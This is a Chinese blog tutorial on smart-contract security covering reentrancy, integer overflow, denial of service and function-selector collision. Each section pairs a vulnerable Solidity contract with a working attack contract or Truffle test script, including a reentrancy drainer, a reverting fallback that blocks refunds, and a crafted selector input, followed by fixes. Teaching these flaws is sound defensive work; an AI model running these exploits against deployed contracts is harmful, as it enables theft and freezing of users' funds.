当前位置:   article > 正文

solidity智能合约安全 (一)_智能合约拒绝服务

智能合约拒绝服务

        在区块链的发展中,出现了各种各样的合约漏洞,在solidity的迭代中,虽然有部分漏洞已经修复了,但是漏洞是会一直存在的。下面我将讲诉部分合约的经典漏洞。

1.重入攻击

        重入攻击可以说是最为常见的一个漏洞了,通常在使用call方法时,最容易造成重入攻击。攻击者通过fallback函数来达到一直进行操作,从而转走或者铸造大量的代币。下面举一个简单的例子。当A到银行去取钱,A告诉机器:“我要取钱”,机器就会进行查询银行余额,余额大于0则吐出用户锁需要的钱,并询问A是否收到钱了。A又继续告诉机器“我要取钱”,机器再次去执行取钱操作,直到银行再也没有钱才会终止。像这样取出银行的所有钱。

 1-1:简单的实现存在重入攻击的合约例子

  1. pragma solidity ^0.8.10;
  2. contract Bank {
  3. mapping (address => uint256) public balanceOf; // 余额mapping
  4. // 存入ether,并更新余额
  5. function deposit() external payable {
  6. balanceOf[msg.sender] += msg.value;
  7. }
  8. int public isUser = 0;
  9. // 在每一次交易前,先判断状态是否为不可使用,不可使用则报错
  10. //通过重入锁来防止重入
  11. // modifier _retreeLock(){
  12. // require(isUser == 0,"trans error");
  13. // //在交易时的状态为不可使用
  14. // isUser = 1;
  15. // _;
  16. // //交易完成后变为可使用状态
  17. // isUser = 0;
  18. // }
  19. // 提取msg.sender的全部ether
  20. function withdraw() external {
  21. uint256 balance = balanceOf[msg.sender]; // 获取余额
  22. require(balance > 0, "Insufficient balance");
  23. // 转账 ether !!! 可能激活恶意合约的fallback/receive函数,有重入风险!
  24. (bool success, ) = msg.sender.call{value: balance}("");
  25. require(success, "Failed to send Ether");
  26. // 更新余额
  27. balanceOf[msg.sender] = 0;
  28. }
  29. // 获取银行合约的余额
  30. function getBalance() external view returns (uint256) {
  31. return address(this).balance;
  32. }
  33. }

1-2:实现攻击合约

  1. pragma solidity ^0.8.10;
  2. import './Bank.sol';
  3. contract Attack {
  4. Bank public bank; // Bank合约地址
  5. // 初始化Bank合约地址
  6. constructor(Bank _bank) {
  7. bank = _bank;
  8. }
  9. // 回调函数,用于重入攻击Bank合约,反复的调用目标的withdraw函数
  10. receive() external payable {
  11. if (bank.getBalance() >= 1 ether) {
  12. bank.withdraw();
  13. }
  14. }
  15. // 攻击函数,调用时 msg.value 设为 1 ether
  16. function attack() external payable {
  17. require(msg.value == 1 ether, "Require 1 Ether to attack");
  18. bank.deposit{value: 1 ether}();
  19. bank.withdraw();
  20. }
  21. // 获取本合约的余额
  22. function getBalance() external view returns (uint256) {
  23. return address(this).balance;
  24. }
  25. }

1-3:攻击步骤

        部署Bank合约,调用deposit方法正常的存入20个以太,然后部署Attack合约再调用attack方法存入一个以太,最后取出攻击合约余额是否等于21个以太。

1-4:迁移脚本

  1. const Bank = artifacts.require("Bank")
  2. const Attack = artifacts.require("Attack")
  3. module.exports = async (deployer)=>{
  4. await deployer.deploy(Bank);
  5. const bank = await Bank.deployed();
  6. await deployer.deploy(Attack,bank.address);
  7. }

1-5:攻击脚本

  1. const Bank = artifacts.require("Bank")
  2. const Attack = artifacts.require("Attack")
  3. contract("attack",(accounts)=>{
  4. it("attack test",async()=>{
  5. const bank = await Bank.deployed();
  6. //存入20个eth
  7. await bank.deposit({value:web3.utils.toWei("20","ether")});
  8. //部署攻击合约,并传入被攻击合约地址
  9. const attack = await Attack.deployed(bank.address,{from:accounts[2]});
  10. //调用攻击方法需要传入一个以太
  11. await attack.attack({from:accounts[2],value:web3.utils.toWei("1","ether")});
  12. //获取攻击合约的余额
  13. const blance = await attack.getBalance();
  14. //判断是否得到21个以太,将bank合约的所有余额全部取了出来
  15. assert.equal(web3.utils.toWei("21","ether"),blance,"attack error");
  16. })
  17. })

攻击成功的截图:

  1-6:如何避免重入攻击

        对于重入攻击我所才用的方法是,给方法加一个重入锁,在用户第一次调用时,显示交易状态初始化为未交易,交易过程中,交易状态变为正在交易,交易完成后(withdraw方法执行完成后)交易状态再变为未交易。使用修饰器可以执行这一个操作

  1. /**
  2. * 状态0表示未交易
  3. * 状态1表示正在交易
  4. */
  5. int public isUser = 0;
  6. // 在每一次交易前,先判断状态是否为不可使用,不可使用则报错
  7. //通过重入锁来防止重入
  8. modifier _retreeLock(){
  9. require(isUser == 0,"trans error");
  10. //在交易时的状态为不可使用
  11. isUser = 1;
  12. _;
  13. //交易完成后变为可使用状态
  14. isUser = 0;
  15. }

修复漏洞后运行截图:

 

 2.整型溢出

        整型溢出漏洞再低版本的solidity中,是最为常见的一个漏洞。因为在EVM中,限制了每一个数据类型的大小。以uint8为例:它的最小值为0,最大值为 2**8 -1,所有uint8的值的区间为[0,255],当为最小值时再-1就会变成255,当最大值+1时就会变为0。这种情况也就只会出现再低版本的solidity合约中,再高版本的solidity合约中,引入了 Safemath 库。再整型溢出时会报错。

        1-1:整型溢出合约代码复现

  1. pragma solidity ^0.4.25;
  2. contract POC{
  3. /**
  4. 整型移除的漏洞:
  5. 1.什么是整形溢出:
  6. 在EVM中固定了每一个整型的最大值,如果到达整型的下临界值:0,整型的上临界值:2** ? -1;
  7. 列入uint8类型,下临界值是0,上临界值是 2**8 -1。当到达下临界值时 -1,数值则会下溢变为 2**8-1。
  8. 当到达上临界值时 +1,数值则会上溢变为 0。
  9. 2.怎么造成整型溢出
  10. 只需要判断当前数字是否到达了临界值,再进行加减操作
  11. 3.如何修复整型溢出
  12. 1.使用SafeMath库
  13. 2.当溢出时,直接抛出异常
  14. */
  15. //加法溢出
  16. //如果uint256 类型的变量达到了它的最大值(2**256 - 1),如果在加上一个大于0的值便会变成0
  17. uint256 public sumV;
  18. uint256 public subV;
  19. uint256 public mulV;
  20. function add_overflow() returns (uint256 _overflow) {
  21. uint256 max = 2**256 - 1;
  22. sumV = max +1;
  23. return sumV;
  24. }
  25. //减法溢出
  26. //如果uint256 类型的变量达到了它的最小值(0),如果在减去一个小于0的值便会变成2**256-1(uin256类型的最大值)
  27. function sub_underflow() returns (uint256 _underflow) {
  28. uint256 min = 0;
  29. subV = min -1;
  30. return subV;
  31. }
  32. //乘法溢出
  33. //如果uint256 类型的变量超过了它的最大值(2**256 - 1),最后它的值就会回绕变成0
  34. function mul_overflow() returns (uint256 _underflow) {
  35. uint256 mul = 2**255;
  36. uint256 flg =2;
  37. mulV = mul *flg;
  38. return mulV;
  39. }
  40. }

 1-2:如何避免整型溢出

        最为简单的一种方式就是在计算之前就进行判断,计算的结果是否会造成整型溢出的后果

1-3:修复后的合约代码

        

  1. pragma solidity ^0.4.25;
  2. contract POC{
  3. /**
  4. 整型移除的漏洞:
  5. 1.什么是整形溢出:
  6. 在EVM中固定了每一个整型的最大值,如果到达整型的下临界值:0,整型的上临界值:2** ? -1;
  7. 列入uint8类型,下临界值是0,上临界值是 2**8 -1。当到达下临界值时 -1,数值则会下溢变为 2**8-1。
  8. 当到达上临界值时 +1,数值则会上溢变为 0。
  9. 2.怎么造成整型溢出
  10. 只需要判断当前数字是否到达了临界值,再进行加减操作
  11. 3.如何修复整型溢出
  12. 1.使用SafeMath库
  13. 2.当溢出时,直接抛出异常
  14. */
  15. //加法溢出
  16. //如果uint256 类型的变量达到了它的最大值(2**256 - 1),如果在加上一个大于0的值便会变成0
  17. uint256 public sumV;
  18. uint256 public subV;
  19. uint256 public mulV;
  20. function add_overflow() returns (uint256 _overflow) {
  21. uint256 max = 2**256 - 1;
  22. //加个限制条件,防止溢出
  23. require(max +1 !=0 ,"add_overflow error");
  24. sumV = max +1;
  25. return sumV;
  26. }
  27. //减法溢出
  28. //如果uint256 类型的变量达到了它的最小值(0),如果在减去一个小于0的值便会变成2**256-1(uin256类型的最大值)
  29. function sub_underflow() returns (uint256 _underflow) {
  30. uint256 min = 0;
  31. //当等于0时,禁止做减法
  32. require(min !=0,"sub_underflow error");
  33. subV = min -1;
  34. return subV;
  35. }
  36. //乘法溢出
  37. //如果uint256 类型的变量超过了它的最大值(2**256 - 1),最后它的值就会回绕变成0
  38. function mul_overflow() returns (uint256 _underflow) {
  39. uint256 mul = 2**255;
  40. uint256 flg =2;
  41. require(mul * flg !=0,"mul_overflow error");
  42. mulV = mul *flg;
  43. return mulV;
  44. }
  45. }

1-4:迁移脚本

  1. const POC = artifacts.require("POC");
  2. module.exports = async(deployer)=>{
  3. await deployer.deploy(POC);
  4. }

1-5:攻击脚本 

  1. const POC = artifacts.require("POC");
  2. contract("poc test",async (accounts)=>{
  3. it("test",async ()=>{
  4. const poc = await POC.deployed();
  5. await poc.add_overflow();
  6. await poc.sub_underflow();
  7. await poc.mul_overflow();
  8. const sumv = await poc.sumV();
  9. const subv = await poc.subV();
  10. const mulv = await poc.mulV();
  11. assert.equal(sumv,0,"attack error");
  12. assert.equal(subv,2**256 - 1,"attack error");
  13. assert.equal(mulv,0,"attack error");
  14. })
  15. })

3.拒绝服务(dos)

  拒绝服务的漏洞攻击:

        1.什么是拒绝服务漏洞

            通常通过call函数的回调方法来实现导致合约状态改变,无法正常进行运行。从而导致交易失败。最为经典的攻击:以太之王

        2.如何进行拒绝服务漏洞攻击

            使用call函数的回调方法来实现导致合约状态改变,无法正常进行运行。从而导致交易失败。

        3.如何避免拒绝服务漏洞攻击

            外部合约的函数调用(例如 call)失败时不会使得重要功能卡死,比如将上面漏洞合约中的 require(success, "Refund Fail!"); 去掉,退款在单个地址失败时仍能继续运行。

            合约不会出乎意料的自毁。

            合约不会进入无限循环。

            require 和 assert 的参数设定正确。

            退款时,让用户从合约自行领取(push),而非批量发送给用户(pull)。

            确保回调函数不会影响正常合约运行。

            确保当合约的参与者(例如 owner)永远缺席时,合约的主要业务仍能顺利运行。

1-1:拒绝服务合约代码复现:

  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.8.4;
  3. // 有DoS漏洞的游戏,玩家们先存钱,游戏结束后,调用refund退钱。
  4. contract DoSGame {
  5. bool public refundFinished;
  6. mapping(address => uint256) public balanceOf;
  7. address[] public players;
  8. // 所有玩家存ETH到合约里
  9. function deposit() external payable {
  10. require(!refundFinished, "Game Over");
  11. require(msg.value > 0, "Please donate ETH");
  12. // 记录存款
  13. balanceOf[msg.sender] = msg.value;
  14. // 记录玩家地址
  15. players.push(msg.sender);
  16. }
  17. // 游戏结束,退款开始,所有玩家将依次收到退款
  18. function refund() external {
  19. require(!refundFinished, "Game Over");
  20. uint256 pLength = players.length;
  21. // 通过循环给所有玩家退款
  22. for(uint256 i; i < pLength; i++){
  23. address player = players[i];
  24. uint256 refundETH = balanceOf[player];
  25. (bool success, ) = player.call{value: refundETH}("");
  26. //此处去掉用于修复合约,最简单的方式,不让合约阻塞
  27. require(success, "Refund Fail!");
  28. balanceOf[player] = 0;
  29. }
  30. refundFinished = true;
  31. }
  32. function balance() external view returns(uint256){
  33. return address(this).balance;
  34. }
  35. }

1-2:拒绝服务攻击合约代码复现

  1. // SPDX-License-Identifier: MIT
  2. import "./DoSGame.sol";
  3. pragma solidity ^0.8.4;
  4. contract Attack {
  5. // 退款时进行DoS攻击
  6. fallback() external payable{
  7. revert("DoS Attack!");
  8. }
  9. // 参与DoS游戏并存款
  10. function attack(address gameAddr) external payable {
  11. DoSGame dos = DoSGame(gameAddr);
  12. dos.deposit{value: msg.value}();
  13. }
  14. }

1-3:攻击步骤

        首先部署漏洞合约,,在正常的往里存钱,然后再部署攻击合约,调用attack方法后,再调用漏洞合约中的refund方法查看是否能够正常的进行退款。

1-4:迁移脚本

  1. const DoSGame = artifacts.require("DoSGame");
  2. const Attack =artifacts.require("Attack");
  3. module.exports = async(deployer)=>{
  4. await deployer.deploy(DoSGame);
  5. await deployer.deploy(Attack);
  6. }

1-5:攻击脚本

  1. const DoSGame = artifacts.require("DoSGame");
  2. const Attack =artifacts.require("Attack");
  3. contract("dosAttack test",async(accounts)=>{
  4. it("test",async ()=>{
  5. const dosGame = await DoSGame.deployed();
  6. //进行存钱进去
  7. await dosGame.deposit({from:accounts[1],value:web3.utils.toWei("2","ether")});
  8. await dosGame.deposit({from:accounts[2],value:web3.utils.toWei("2","ether")});
  9. await dosGame.deposit({from:accounts[3],value:web3.utils.toWei("2","ether")});
  10. const attack = await Attack.deployed();
  11. await attack.attack(dosGame.address,{from:accounts[6],value:web3.utils.toWei("2","ether")});
  12. await dosGame.refund();
  13. })
  14. })

 1-5:如何避免拒绝服务攻击

        拒绝服务的造成就是因为合约方法阻塞,从而导致合约无法正常运行,最简单的方式就是避免让方法阻塞,再上面的合约中造成阻塞的原因就是refund方法中的 (bool success, ) = player.call{value: refundETH}("");这一句让方法无法正常使用,导致合约无法正常运行。这里只需要阻塞这一句代码就可以正常运行了。

攻击成功截图:

4.选择器碰撞

        在了解选择器碰撞之前,需要先了解什么是选择器?

                在soldity中的选择器就是,一个函数名(参数类型 参数名……)组成的哈希的前4个字节。相当于就是EVM需要通过这4个字节来执行相应的方法。因为是4个字节大小,所以很容易找出由相同选择器的不同的方法存在。从而造成方法的错误调用。

大家可以用这两个网站来查同一个选择器对应的不同函数:

  1. Ethereum Signature Database
  2. Signature Database

选择器碰撞的攻击原理?

            获取到需要进行攻击的指定方法的选择器,在以下的示例中知道putCurEpochConPubKeyBytes方法的选择器是:0x41973cd9,而我们攻击时就需要构建一个函数选择器和0x41973cd9这个一致的函数,在简介的达到攻击的效果(调用putCurEpochConPubKeyBytes方法的效果)。

1-1:选择器碰撞漏洞合约复现

  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.8.10;
  3. contract SelectorClash {
  4. /**
  5. 选择器碰撞的示例合约:
  6. 1.什么是选择器?
  7. 1).选择器就是函数签名的哈希值的前4个字节,函数的选择器也就类似于函数在vm中的地址一样,
  8. 通过选择器来找到函数并且进行调用。
  9. 2).函数签名就是 函数名(参数类型及参数名称,……)
  10. 3).因为选择器只有4个字节,所有很容易造成不同函数之间的选择器一致(冲突)的情况存在。
  11. 2.选择器碰撞的攻击原理?
  12. 获取到需要进行攻击的指定方法的选择器,在以下的示例中知道putCurEpochConPubKeyBytes方法的选择器是:0x41973cd9,
  13. 而我们攻击时就需要构建一个函数选择器和0x41973cd9这个一致的函数,在简介的达到攻击的效果。
  14. 3.如何进行攻击?
  15. 1)攻击者需要知道攻击函数的选择器,然后构建一个选择器和被攻击函数一致的函数,从而达到攻击的效果。
  16. 4.如何进行修复?
  17. 1).函数选择器很容易被碰撞,即使改变参数类型,依然能构造出具有相同选择器的函数。
  18. 2).管理好合约函数的权限,确保拥有特殊权限的合约的函数不能被用户调用。
  19. */
  20. bool public solved; // 攻击是否成功
  21. // 攻击者需要调用这个函数,但是调用者 msg.sender 必须是本合约。
  22. function putCurEpochConPubKeyBytes(bytes memory _bytes) public {
  23. require(msg.sender == address(this), "Not Owner");
  24. solved = true;
  25. }
  26. // 有漏洞,攻击者可以通过改变 _method 变量碰撞函数选择器,调用目标函数并完成攻击。
  27. function executeCrossChainTx(bytes memory _method, bytes memory _bytes, bytes memory _bytes1, uint64 _num) public returns(bool success){
  28. (success, ) = address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_bytes, _bytes1, _num)));
  29. }
  30. }

1-2:攻击步骤

攻击者需要知道攻击函数的选择器,然后构建一个选择器和被攻击函数一致的函数,从而达到攻击的效果。

1-3:迁移脚本

  1. const SelectorClash = artifacts.require("SelectorClash")
  2. module.exports = async(deployer)=>{
  3. await deployer.deploy(SelectorClash);
  4. }

1-4:攻击脚本

  1. const SelectorClash = artifacts.require("SelectorClash")
  2. contract("SelectorClash test",(accounts)=>{
  3. it("attack test",async()=>{
  4. const selectorClash = await SelectorClash.deployed();
  5. await selectorClash.executeCrossChainTx("0x6631313231333138303933","0x","0x",0);
  6. const solved = await selectorClash.solved();
  7. console.log("solve",solved);
  8. assert.equal(solved,true,"attack fail");
  9. })
  10. })

1-5:如何避免选择器碰撞

 1).函数选择器很容易被碰撞,即使改变参数类型,依然能构造出具有相同选择器的函数。

  2).管理好合约函数的权限,确保拥有特殊权限的合约的函数不能被用户调用。

攻击成功效果截图:

资料来源:

WTF: Hello from WTF Academy | WTF Academy

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小惠珠哦/article/detail/761862
推荐阅读
相关标签
  

闽ICP备14008679号